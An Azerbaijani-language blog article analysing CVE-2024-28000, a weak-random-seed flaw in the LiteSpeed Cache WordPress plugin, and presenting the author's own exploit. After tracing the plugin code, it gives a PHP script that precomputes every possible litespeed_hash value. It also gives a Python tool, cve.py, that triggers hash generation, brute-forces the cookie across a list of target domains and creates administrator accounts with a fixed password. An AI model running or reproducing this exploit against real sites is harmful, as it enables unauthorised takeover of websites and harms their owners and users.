CVE-2024-28000 Analizi və istismarlar haqqında.

Posted on Nov 27, 2024

Author: Huseyn Gadashov

Məqalə xüsusi olaraq xakep.ru üçün yazılmışdır.

CVE işıq sürəti ilə. LiteSpeed Cache üçün açıq eksploiti düzəldirik

Bu gün mən LiteSpeed Cache-dəki bir zəifliyi araşdıracağam — saytların işini sürətləndirmək üçün populyar bir plagin. Bu plagin WooCommerce, bbPress, ClassicPress və Yoast kimi məşhur mühərriklərlə işləyir və bu günə qədər 5 milyondan çox qurğusu var. Gəlin baxaq, necə ki, keyfiyyətsiz təsadüfi ədədlərin yaradılması admin imtiyazlarına yüksəliş imkanına gətirib çıxarıb.

Xəbərlərdə hansısa möhtəşəm bir zəiflik yayımlandıqdan sonra, dörd tip insanı müşahidə etmək olar:

  1. Tam işləməyən və təkmilləşdirmə tələb edən pulsuz eksploiti tez bir zamanda paylaşanlar.
  2. PoC (Konsepsiya sübutu) GitHub, YouTube və ya digər platformalarda yayımlayıb, satın alma linki və ya əlaqə məlumatlarını yerləşdirənlər.
  3. Zəifliyi təhlil edib, onun təhlükəsini ətraflı təsvir edən, lakin PoC təqdim etməyənlər.
  4. Bütün digərlərini tənqid etməyi sevənlər.

Bu gün mən üçüncü və dördüncü tipləri birləşdirəcəyəm: sizə zəiflik haqqında danışacağam və ilk iki kateqoriyadan olan hakerləri tənqid edəcəyəm.

Vəziyyət haqqında qısa məlumat

Bizim nəzərdən keçirəcəyimiz zəifliyi John Blackbourn tapıb və o, CVE-2024-28000 identifikatorunu alıb.

Patchstack şirkəti iddia edir:

Bu zəiflik üçün WordPress tarixində ən yüksək mükafat təyin edilmişdir. Patchstack Zero Day proqramı tədqiqatçıya 14.400 ABŞ dolları nağd pul mükafatı verib.

Wordfence (rəqib) bildirir:

Bu zəiflik Wordfence Bug Bounty proqramında bildirilmiş olmasa da, bizdə olan məlumata əsasən, hazırda keçirilən Superhero Challenge müsabiqəmizdə ona təxminən 23.400–31.200 ABŞ dolları məbləğində mükafat verilə bilərdi.

Zəifliyin təhlili

Zəiflik ondan ibarətdir ki, plaqinin müəyyən bir hissəsində heş yaradılır, bu heş kuki kimi istifadə olunur və onun vasitəsilə admin hesabı yaratmaq mümkündür. Heşin əsası isə saniyənin hissələrinə əsaslanan təsadüfi ədəddir. Belə ədədlərin kombinasiyaları məhduddur, bu da heşi tapmağa imkan verir.

Heş niyə yaradılır?

LiteSpeed Cache-də istifadəçini simulyasiya etmək üçün bir funksiya var, bu funksiya daxilində heş yaradılır və saxlanılır. Bu heş litespeed_hash kukisi kimi istifadə olunur. Onun yaradılması üçün krauler funksiyasını aktivləşdirmək lazımdır. Əgər kodda get_hash funksiyasını axtarsanız, görərsiniz ki, bu funksiya iki yerdə çağırılır. Heşin necə yaradıldığını təhlil etməzdən əvvəl, gəlin bu funksiyanın hansı hallarda çağırıldığını araşdıraq.

self_curl funksiyası cURL kitabxanasından istifadə edərək HTTP sorğusu yerinə yetirmək üçün nəzərdə tutulub:

public function self_curl($url, $ua, $uid = false, $accept = false)
{
  // $accept hələ istifadə olunmur
  $this->_crawler_conf['base'] = home_url();
  $this->_crawler_conf['ua'] = $ua;
  if ($accept) {
    $this->_crawler_conf['headers'] = array('Accept: ' . $accept);
  }
  if ($uid) {
    $this->_crawler_conf['cookies']['litespeed_role'] = $uid;
    $this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash();
  }

  $options = $this->_get_curl_options();
  $options[CURLOPT_HEADER] = false;
  $options[CURLOPT_FOLLOWLOCATION] = true;

  $ch = curl_init();
  curl_setopt_array($ch, $options);
  curl_setopt($ch, CURLOPT_URL, $url);
  $result = curl_exec($ch);
  $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  curl_close($ch);

  if ($code != 200) {
    self::debug('❌ self_curl() funksiyasında cavab kodu 200 deyil [kod] ' . var_export($code, true));
    return false;
  }

  return $result;
}

Bu funksiya URL, User-Agent və istifadəçi identifikatoru ($uid) kimi bir neçə parametr qəbul edir. O, home_url() metodu ilə əsas URL-i təyin edir və ötürülən User-Agent-i saxlayır. Əgər istifadəçi identifikatoru ötürülürsə, litespeed_rolelitespeed_hash kukiləri yaradılır.

Məsələ burasındadır ki, self_curl funksiyası prepare_html funksiyasında istifadə olunur:

public function prepare_html($request_url, $user_agent, $uid = false)
{
  $html = $this->cls('Crawler')->self_curl(add_query_arg('LSCWP_CTRL', 'before_optm', $request_url), $user_agent, $uid);

prepare_html funksiyası _send_req funksiyasında istifadə olunur:

private function _send_req($request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp)
{
  // Göndərməyə icazə olub-olmadığını yoxla
  $err = false;
  $allowance = $this->cls('Cloud')->allowance(Cloud::SVC_CCSS, $err);
  if (!$allowance) {
    Debug2::debug('[CCSS] ❌ Kredit yoxdur: ' . $err);
    $err && Admin_Display::error(Error::msg($err));
    return 'out_of_quota';
  }

  // CSS sorğu statusunu yenilə
  $this->_summary['curr_request_' . $type] = time();
  self::save_summary();

  // Göndərmək üçün qonaq HTML-i topla
  $html = $this->prepare_html($request_url, $user_agent, $uid);

  if (!$html) {
    return false;
  }
......

_send_req funksiyası _cron_handler funksiyasından çağırılır:

private function _cron_handler($type, $continue)
{
  $this->_queue = $this->load_queue($type);

  if (empty($this->_queue)) {
    return;
  }

  $type_tag = strtoupper($type);

  // Cron üçün, sorğu intervalını da yoxlamaq lazımdır
  if (!$continue) {
    if (!empty($this->_summary['curr_request_' . $type]) && time() - $this->_summary['curr_request_' . $type] < 300 && !$this->conf(self::O_DEBUG)) {
      Debug2::debug('[' . $type_tag . '] Son sorğu bitməyib');
      return;
    }
  }

  $i = 0;
  $timeoutLimit = ini_get('max_execution_time');
  $this->_endts = time() + $timeoutLimit;
  foreach ($this->_queue as $k => $v) {
    if (!empty($v['_status'])) {
      continue;
    }

    if (function_exists('set_time_limit')) {
      $this->_endts += 120;
      set_time_limit(120);
    }
    if ($this->_endts - time() < 10) {
      // self::debug("🚨 Zaman limiti çatdığı üçün döngü sona çatır " . $timeoutLimit . "s");
      // return;
    }

    Debug2::debug('[' . $type_tag . '] cron işi [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);

    if ($type == 'ccss' && empty($v['url_tag'])) {
      unset($this->_queue[$k]);
      $this->save_queue($type, $this->_queue);
      Debug2::debug('[CCSS] səhv queue_ccss formatı');
      continue;
    }

    if (!isset($v['is_webp'])) {
      $v['is_webp'] = false;
    }

    $i++;
    $res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp']);
    if (!$res) {
      // Status səhvdir, bu növbəni çıxar
      unset($this->_queue[$k]);
      $this->save_queue($type, $this->_queue);
......

_cron_handler funksiyası cron_ccss funksiyasından çağırılır:

public static function cron_ccss($continue = false)
{
  $_instance = self::cls();
  return $_instance->_cron_handler('ccss', $continue);
}

cron_ccss funksiyası _cron_handler funksiyasını işə salmaq üçün bir sarmaldır. O, _cron_handler funksiyasını çağırır, ccss tipini və $continue bayrağını ötürür. _cron_handler funksiyası göstərilən tip üçün (ccss) iş növbəsini load_queue metodu vasitəsilə yükləyir. Əgər növbə boşdursa, funksiya icraatı dayandırır, çünki emal üçün tapşırıqlar yoxdur.

Yəni cron_ccss funksiyası _ccss funksiyasını emala göndərir, burada uidget_current_user_id funksiyasının nəticəsidir, o da istifadəçi ID-sini _wp_get_current_user funksiyasından alır. Yəni istifadəçi ID-si mühərrikin özündən gəlir, istifadəçidən deyil. Bu o deməkdir ki, biz onu manipulyasiya edə bilməyəcəyik və get_hash() funksiyasının çağırıldığı ikinci yeri təhlil etmək lazımdır:

private function _ccss()
{
  global $wp;
  $request_url = home_url($wp->request);

  $filepath_prefix = $this->_build_filepath_prefix('ccss');
  $url_tag = $this->_gen_ccss_file_tag($request_url);
  $vary = $this->cls('Vary')->finalize_full_varies();
  $filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ccss');
  if ($filename) {
    $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';

    if (file_exists($static_file)) {
      Debug2::debug2('[CSS] mövcud ccss ' . $static_file);
      Core::comment('QUIC.cloud CCSS yükləndi ✅ ' . $filepath_prefix . $filename . '.css');
      return File::read($static_file);
    }
  }

  $uid = get_current_user_id();

_get_curl_options funksiyasının təhlilinə keçək:

private function _get_curl_options($crawler_only = false)
{
  $options = array(
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_CUSTOMREQUEST => 'GET',
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_ENCODING => 'gzip',
    CURLOPT_CONNECTTIMEOUT => 10,
.....
  if ($crawler_only) {
    $this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash();
  }
.....

Bizim üçün vacib olan budur ki, əgər $crawler_only = true-dursa, onda bizim heş yaradılacaq. _get_curl_options çağırışı _do_running funksiyasından edilir, burada $crawler_only true kimi ötürülür:

private function _do_running()
{
  $options = $this->_get_curl_options(true);

Çağırış zənciri belədir:

  • _engine_start funksiyası _crawl_data($manually_run) funksiyasından çağırılır
  • _crawl_data funksiyası start($manually_run = false) funksiyasında istifadə olunur
  • start funksiyası async_handler($manually_run = false) funksiyasında istifadə olunur
  • async_handler funksiyası async_litespeed_handler funksiyasından çağırılır.

Hər çağırışda manually_run yoxlanılır və dəyəri doğru olmalıdır. Budur, async_litespeed_handler funksiyasından async_handler funksiyasının çağırılması:

public static function async_litespeed_handler()
{
  $type = Router::verify_type();

  self::debug('type=' . $type);

  // Emal zamanı digər sorğuları bloklama
  session_write_close();
  switch ($type) {
    case 'crawler':
      Crawler::async_handler();
      break;
    case 'crawler_force':
      Crawler::async_handler(true);
      break;
    case 'imgoptm':
      Img_Optm::async_handler();
      break;
    case 'imgoptm_force':
      Img_Optm::async_handler(true);
      break;
    default:
  }
}

Yəni heş yaradılacaq, əgər kimsə aşağıdakı ünvana sorğu göndərsə:

wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force

Heş krauler üçün yaradılır, onu ya admin panelində müvafiq ayarı aktivləşdirməklə, ya da autentifikasiyanı tələb etməyən bir funksiya vasitəsilə çağırmaq olar. Əsas hesabatda buna işarə edirdilər, amma funksiyanın əslində necə çağırıldığını göstərmirdilər. Ona görə də hazırda açıq eksploitlərin hamısı işləmir. Belə gülməli vəziyyət yaranıb “eksploit inkişaf etdiriciləri” üçün:

Alucard0x1 variantı:

def trigger_hash_generation():
    payload = {
        'action': 'async_litespeed',
        'litespeed_type': 'crawler'
    }

ebrasha variantı:

private static async Task TriggerHashGeneration()
{
    var payload = new Dictionary<string, string>
    {
        { "action", "async_litespeed" },
        { "litespeed_type": "crawler" }
    };

arch1m3d variantı:

def trigger_hash_generation(target_url):
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    params = {
        "action": "async_litespeed",
        "litespeed_type": "crawler"
    }

Heş necə yaradılır?

Heş bizim halda altı təsadüfi simvoldan ibarət sətirdir. get_hash funksiyasına baxsaq, görərik ki, o, rrand funksiyasını çağırır:

public static function get_hash()
{
  // Əgər əvvəlki heş mövcuddursa, ondan istifadə et
  $hash = self::get_option(self::ITEM_HASH);
  if ($hash) {
    return $hash;
  }

  $hash = Str::rrand(6);
  self::update_option(self::ITEM_HASH, $hash);
  return $hash;
}

rrand funksiyası müəyyən uzunluqda təsadüfi sətir yaratmaq üçün nəzərdə tutulub, əvvəlcədən təyin edilmiş simvollar dəstindən seçilmiş simvollardan ibarət:

public static function rrand($len, $type = 7)
{
  mt_srand((int) ((float) microtime() * 1000000));

  switch ($type) {
    case 0:
      $charlist = '012';
      break;

    case 1:
      $charlist = '0123456789';
      break;

    case 2:
      $charlist = 'abcdefghijklmnopqrstuvwxyz';
      break;

    case 3:
      $charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
      break;

    case 4:
      $charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      break;

    case 5:
      $charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      break;

    case 6:
      $charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
      break;

    case 7:
      $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
      break;
  }

  $str = '';

  $max = strlen($charlist) - 1;
  for ($i = 0; $i < $len; $i++) {
    $str .= $charlist[mt_rand(0, $max)];
  }

  return $str;
}

Burada $len — yaradılan sətirin uzunluğunu müəyyən edir. $type = 7 isə simvolların tam dəstindən istifadə edir:

case 7:
  $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  break;

Sonra mt_srand funksiyası istifadə olunur, bu da mt_rand üçün başlanğıc dəyəri (seed) təyin edir:

mt_srand((int) ((float) microtime() * 1000000));

Seed nədir və niyə vacibdir?

Bildiyin kimi, kompüterlərdə təsadüfi ədədlər müəyyən alqoritmlarla yaradılır və bu alqoritmlər bir başlanğıc dəyərinə (seed) əsaslanır. Eyni seed istifadə edilərsə, eyni “təsadüfi” ədədlər ardıcıllığı əldə edilir.

[Seed nədir

Əgər hələ də bunun necə işlədiyini tam anlamırsansa, sadə bir nümunəyə baxaq:

<?php
mt_srand(1);
$max = 61;
print(mt_rand(0, $max));
?>

Burada mt_srand(1) funksiyası generatora sabit bir başlanğıc dəyəri verir. Nəticədə hər dəfə skript işə salındıqda, eyni ədəd əldə edilir.

Beləliklə, bizim kodda seed 0-dan 999999-a qədər bir dəyər alır və mt_rand-ın bir çağırışı nəticəsində milyon mümkün variant əldə edilir.

microtime() necə işləyir

microtime() funksiyası cari zamanı saniyələrdə mikrosekund dəqiqliyi ilə qaytarır:

0.123456 // 123456 mikrosekund təmsil edir

Kodda biz bunu tam ədədə çevirmək üçün 1.000.000-a vururuq və int tipinə çeviririk.

Beləliklə, bizdə dəqiq bir milyon mümkün seed var.

Seed eyni olduqda, mt_rand-ın nəticəsi də eyni olacaq. Bu halda, heşin mümkün variantları bir milyondur.

Əgər heşin bir milyona qədər mümkün variantı varsa, biz onları bruteforce edib, lazımi kukini əldə edə və imtiyaz tələb edən funksiyalara giriş əldə edə bilərik. Mən LiteSpeed-dən heşin yaradılması kodunu götürdüm və bütün mümkün heşləri hashes.txt faylına saxlayan funksiyalar əlavə etdim:

<?php

function rrand($len, $a, $type = 7) {
    mt_srand($a);

    switch ($type) {
        case 0:
            $charlist = '012';
            break;
        case 1:
            $charlist = '0123456789';
            break;
        case 2:
            $charlist = 'abcdefghijklmnopqrstuvwxyz';
            break;
        case 3:
            $charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
            break;
        case 4:
            $charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
            break;
        case 5:
            $charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
            break;
        case 6:
            $charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            break;
        case 7:
            $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            break;
    }

    $str = '';
    $max = strlen($charlist) - 1;
    for ($i = 0; $i < $len; $i++) {
        $str .= $charlist[mt_rand(0, $max)];
    }

    return $str;
}

function generate_and_save($start, $end, $filename) {
    $results = [];
    for ($a = $start; $a <= $end; $a++) {
        $results[] = rrand(6, $a);
    }
    file_put_contents($filename, implode("\n", $results), FILE_APPEND);
}

$thread_count = 1000;
$range = intdiv(1000000, $thread_count);
$filename = 'hashes.txt';

if (file_exists($filename)) {
    unlink($filename);
}

$child_pids = [];

for ($i = 0; $i < $thread_count; $i++) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        die("Fork xətası.");
    } else if ($pid) {
        $child_pids[] = $pid;
    } else {
        $start = $i * $range;
        $end = ($i + 1) * $range - 1;
        if ($i === $thread_count - 1) {
            $end = 999999;
        }

        generate_and_save($start, $end, $filename);
        exit(0);
    }
}

foreach ($child_pids as $pid) {
    pcntl_waitpid($pid, $status);
}

echo "Hazırdır $filename.\n";

?>

Heşlərin yaradılması — eksploitimizin ikinci vacib hissəsidir və bu da açıq eksploitlərdə səhv yazılıb. Onlar sadəcə rrand(6) istifadə ediblər, bu da mümkün variantların sayını 62^6 = 56.800.235.584-ə gətirir.

C:\home\xakep> cat hashes.txt| nl | grep 'Bmmtww'
738197  Bmmtww

Mən öz heşimi (DB → wp_optionsoption_name = litespeed.router.hash) siyahıdakı heşlərlə yoxladım və hər şey uyğun gəldi.

Eksploit

Beləliklə, bizdə heşlərin siyahısı var. Skriptimiz aşağıdakıları etməlidir:

  1. crawler_force sorğusunu göndərmək;
  2. Heşləri bruteforce etmək;
  3. Bruteforce edilmiş heş ilə admin hesabı yaratmaq.

Bütün bunları edəcək kod:

cve.py

import requests
import argparse
import json
import random
from concurrent.futures import ThreadPoolExecutor, as_completed, wait, FIRST_COMPLETED
from threading import Event
from urllib.parse import urlparse

def load_hashes(file_path):
    with open(file_path, 'r') as f:
        return [line.strip() for line in f.readlines()]

def send_request(domain, endpoint, data=None, method='POST', headers=None, timeout=10):
    parsed_url = urlparse(domain)
    scheme = parsed_url.scheme or 'http'
    url = f"{scheme}://{parsed_url.netloc}{endpoint}"
    
    try:
        response = requests.request(method, url, json=data, headers=headers, verify=False, timeout=timeout)
        return response
    except requests.exceptions.RequestException as e:
        print(f"{url} ilə əlaqə qurulmadı: {e}")
        return None

def check_wp_json(domain):
    paths = ["/wp-json/", "/index.php/wp-json/"]
    for path in paths:
        response = send_request(domain, path, method='GET')
        if response and ("wp-json\\/batch\\/v1" in response.text or "rest_not_logged_in" in response.text):
            return path
    return None

def check_litespeed_crawler(domain):
    endpoint = "/wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force"
    response = send_request(domain, endpoint, method='GET')
    if response and response.status_code == 200:
        print(f"{domain} üzərində Litespeed krauler sorğusu uğurlu oldu")
    else:
        print(f"{domain} üzərində Litespeed krauler sorğusu uğursuz oldu: {response.status_code if response else 'Cavab yoxdur'}")

def generate_username_and_email():
    n = random.randint(101, 199)
    username = f"wpmanagermain{n}"
    email = f"{username}@xxx-tower.net"
    return username, email

def single_exploit(domain, path, hash_value, stop_event):
    if stop_event.is_set():
        return None

    username, email = generate_username_and_email()
    headers = {
        "Cookie": f"litespeed_hash={hash_value}; litespeed_role=1",
        "Content-Type": "application/json"
    }
    data = {
        "username": username,
        "password": "Manager!2937",
        "email": email,
        "roles": ["administrator"]
    }
    endpoint = f"{path}wp/v2/users"
    response = send_request(domain, endpoint, data=data, headers=headers)
    
    if response and response.status_code == 401:
        print(f"Uğursuz: 401 İcazəsiz {domain} üzərində")
    elif response and "capabilities" in response.text:
        print(f"Uğurlu: {username}:Manager!2937:{domain} - heş {hash_value} idi")
        stop_event.set()  
        return True
    else:
        print(f"{domain} üzərində cavab: {response.status_code} {response.text}")
    
    return False

def exploit(domain, hashes):
    path = check_wp_json(domain)
    if path:
        stop_event = Event()
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = [
                executor.submit(single_exploit, domain, path, hash_value, stop_event) for hash_value in hashes
            ]
            done, not_done = wait(futures, return_when=FIRST_COMPLETED)
            if any(f.result() for f in done):
                stop_event.set() 
                executor.shutdown(wait=False)  
            else:
                for future in not_done:
                    future.cancel()  
    else:
        print(f"Uğursuz: {domain} üçün uyğun wp-json yolu tapılmadı")

def main():
    parser = argparse.ArgumentParser(description="Domain Exploit Tool")
    parser.add_argument("-f", "--file", required=True, help="Domainlərin siyahısını ehtiva edən fayl")
    args = parser.parse_args()

    hashes = load_hashes("hashes.txt")
    with open(args.file, 'r') as f:
        domains = [line.strip() for line in f.readlines()]

    for domain in domains:
        print(f"{domain} işlənir")
        check_litespeed_crawler(domain)
        exploit(domain, hashes)

if __name__ == "__main__":
    main()

Belə işlətmək olar:

python3 cve.py -f domainsWithScheme.txt

Nəticələr

Gördüyünüz kimi, açıq eksploitlər hətta nisbətən sadə zəifliklər üçün belə çox vaxt yararsızdır. Lakin mənbə kodunu bir az araşdırmaq, zəif funksiyaları tapmaq və CVE-də təsvir edilən səhvin niyə və hansı şəraitdə mümkün olduğunu anlamaq kifayətdir ki, eksploitasiyanın prosesi aydın olsun.